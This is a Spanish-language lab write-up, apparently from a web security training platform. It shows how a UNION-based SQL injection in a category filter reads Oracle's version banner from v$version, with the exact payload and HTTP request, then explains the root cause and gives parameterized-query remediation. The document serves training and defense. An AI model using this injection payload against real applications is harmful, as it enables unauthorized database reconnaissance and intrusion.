UNION-based SQLi en Oracle: fingerprinting de versión vía v$version y banner
Fingerprinting de la versión de Oracle con UNION-based SQLi usando v$version: la vista de la instancia expone el banner del motor en la columna de salida.
1. Target Overview & Vulnerability Summary
El filtro de categoría refleja los resultados de la consulta, permitiendo UNION-based SQLi. En Oracle, la versión de la instancia se lee de la vista fija v$version (columna banner); a diferencia de MySQL/MSSQL no existe una función version() simple en el SELECT de una query normal.
| Severidad | Endpoint vulnerable | Root cause |
|---|---|---|
| Medium | GET /filter?category=... |
Concatenación de category en la cláusula WHERE; resultados reflejados en la respuesta |
2. Technical Breakdown & Exploitation Flow
- Determinar la aridad de la query con
UNION SELECT NULL[, NULL...](2 columnas en este lab). - Leer el banner de la instancia desde
v$version:
' UNION ALL SELECT NULL,banner FROM v$version-- -
GET /filter?category=' UNION ALL SELECT NULL,banner FROM v$version-- - HTTP/1.1
Host: 0a...web-security-academy.net
Notas del payload:
UNION ALL(en lugar deUNION) evita la deduplicación implícita de filas que aplica Oracle aUNION; es inocuo aquí y evita sorpresas con filas repetidas dev$version.v$versiondevuelve una fila por componente (Oracle Database, PL/SQL, CORE, TNS). El banner principal identifica edición y versión exacta.
La respuesta refleja el banner y el lab queda resuelto.
3. Root Cause Analysis
La query se interpola sin parámetros:
SELECT column1, column2 FROM products WHERE category = 'Gifts'
Oracle no expone la versión vía una función de un solo valor en la lista SELECT de una query sobre tablas, pero sí a través de las vistas fijas v$*, que son legibles por el rol CONNECT estándar. El atacante encadena UNION ALL SELECT contra v$version y la columna banner se serializa en el HTML. Este fingerprint orienta el dialecto del exploit posterior (diccionario all_tables/all_tab_columns, concatenación ||, FROM dual).
4. Secure Remediation
Parametrización de la query:
String sql = "SELECT column1, column2 FROM products WHERE category = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, category);
Defensa en profundidad: usuario de BD con menor privilegio (sin acceso a vistas fijas si no se requieren) y parametrización como control principal; el rol mínimo elimina la superficie de fingerprint incluso ante una inyección remanente.